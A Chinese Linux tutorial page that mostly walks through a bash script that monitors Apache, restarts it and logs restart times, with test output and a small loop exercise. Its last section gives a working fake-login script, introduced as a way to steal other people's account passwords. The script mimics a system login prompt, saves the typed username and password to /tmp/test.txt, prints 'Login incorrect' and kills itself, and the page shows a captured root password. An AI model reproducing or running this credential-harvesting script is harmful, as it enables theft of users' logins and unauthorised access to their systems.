歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux基礎 >> 關於Linux >> apache服務監控腳本-----自動重啟apache

apache服務監控腳本-----自動重啟apache

日期:2017/3/1 14:02:28   编辑:關於Linux
apache服務監控腳本-----自動重啟apache [root@localhost shell]# vi apache_monitor.sh #!/bin/bash while [ 1 ] do wget http://127.0.0.1/a.html > /dev/null 2>&1 if [ $? -ne 0 ] then service apache restart >/dev/null 2>&1 else wt=`cat a.html` if [ $wt != 'OK' ] then service apache restart > /dev/null 2>&1 fi fi sleep 2 done [root@localhost shell]# cat /www/a.html OK [root@localhost ~]# lsof -i:80 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME httpd 32105 root 3u IPv4 409340 TCP *:http (LISTEN) httpd 32109 daemon 3u IPv4 409340 TCP *:http (LISTEN) httpd 32111 daemon 3u IPv4 409340 TCP *:http (LISTEN) httpd 32113 daemon 3u IPv4 409340 TCP *:http (LISTEN) [root@localhost ~]# killall httpd [root@localhost ~]# lsof -i:80 [root@localhost ~]# lsof -i:80 在我殺死httpd進程的大概一兩秒時間內,apache服務沒有起來,但是很快就可以了, 如果是在實際生產中,可以把腳本中的sleep時間改成1. COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME httpd 618 root 3u IPv4 411612 TCP *:http (LISTEN) [root@localhost ~]# lsof -i:80 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME httpd 618 root 3u IPv4 411612 TCP *:http (LISTEN) httpd 623 daemon 3u IPv4 411612 TCP *:http (LISTEN) httpd 625 daemon 3u IPv4 411612 TCP *:http (LISTEN) httpd 627 daemon 3u IPv4 411612 TCP *:http (LISTEN) [root@localhost ~]# cd /shell/ [root@localhost shell]# ls access.log a.html.176 a.html.254 a.html.332 a.html.410 a.html a.html.177 a.html.255 a.html.333 a.html.411 a.html.1 a.html.178 a.html.256 a.html.334 a.html.412 a.html.10 a.html.179 a.html.257 a.html.335 a.html.413 a.html.100 a.html.18 a.html.258 a.html.336 a.html.414 a.html.101 a.html.180 a.html.259 a.html.337 a.html.415 a.html.102 a.html.181 a.html.26 a.html.338 a.html.416 a.html.103 a.html.182 a.html.260 a.html.339 a.html.417 a.html.104 a.html.183 a.html.261 a.html.34 a.html.418 a.html.105 a.html.184 a.html.262 a.html.340 a.html.419 a.html.106 a.html.……………… 我擦,發現爆表了,忘記了,腳本還沒有完善,需要把這東西全干掉 而且我還想要記錄apache的重啟時間和次數,所以還需要更改腳本 #!/bin/bash while [ 1 ] do wget http://127.0.0.1/a.html > /dev/null 2>&1 if [ $? -ne 0 ] then service apache restart >/dev/null 2>&1 echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt else wt=`cat a.html` if [ $wt != 'OK' ] then service apache restart > /dev/null 2>&1 echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt fi fi rm -rf a.html sleep 2 done 然後我開始做測試 [root@localhost shell]# cat times.txt [root@localhost shell]# killall httpd [root@localhost shell]# cat times.txt [root@localhost shell]# cat times.txt apache restart at 13-10-15 17:47:27 [root@localhost shell]# killall httpd [root@localhost shell]# cat times.txt apache restart at 13-10-15 17:47:27 apache restart at 13-10-15 17:47:40 然後我去改a.html的內容 [root@localhost www]# cat a.html OKiii ----------內容不是OK後,腳本兩秒鐘自動重新下載一次 [root@localhost shell]# tail -f times.txt apache restart at 13-10-15 17:47:27 apache restart at 13-10-15 17:47:40 apache restart at 13-10-15 17:48:18 apache restart at 13-10-15 17:48:20 apache restart at 13-10-15 17:48:22 apache restart at 13-10-15 17:48:24 apache restart at 13-10-15 17:48:26 apache restart at 13-10-15 17:48:28 apache restart at 13-10-15 17:48:30 apache restart at 13-10-15 17:48:32 apache restart at 13-10-15 17:48:34 apache restart at 13-10-15 17:48:37 apache restart at 13-10-15 17:48:39 apache restart at 13-10-15 17:48:41 apache restart at 13-10-15 17:48:43 apache restart at 13-10-15 17:48:45 apache restart at 13-10-15 17:48:47 apache restart at 13-10-15 17:48:49 apache restart at 13-10-15 17:48:51 [root@localhost shell]# 當我改回來後,腳本停止日志輸出,想要知道apache重啟了多少次 [root@localhost shell]# wc -l times.txt | cut -d" " -f1 19 #################################################### 順便寫了幾個簡單的腳本,覺得很有意思 #!/bin/bash a=1 b=5 while [ $a -le $b ] do c=1 while [ $c -le $a ] do echo -n \* let c++ done let a++ echo done [root@localhost shell]# ./1.sh * ** *** **** ***** 寫一個簡單的腳本,來套取別人的賬號密碼 #!/bin/bash clear cat /etc/issue| head -1 echo -e `uname -r` "on an" `uname -m` echo -e -n `hostname | cut -d . -f1` "login:" read aa echo "passwd:" read -s bb echo -n "username:$aa password:$bb" >/tmp/test.txt sleep 3 echo -e "\n" echo "Login incorrect" pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'` kill -9 $pid 運行效果如下 Red Hat Enterprise Linux Server release 5.5 (Tikanga) 2.6.18-194.el5 on an i686 localhost login:
[root@localhost ~]# cat /tmp/test.txt username:root password:asdf
Copyright © Linux教程網 All Rights Reserved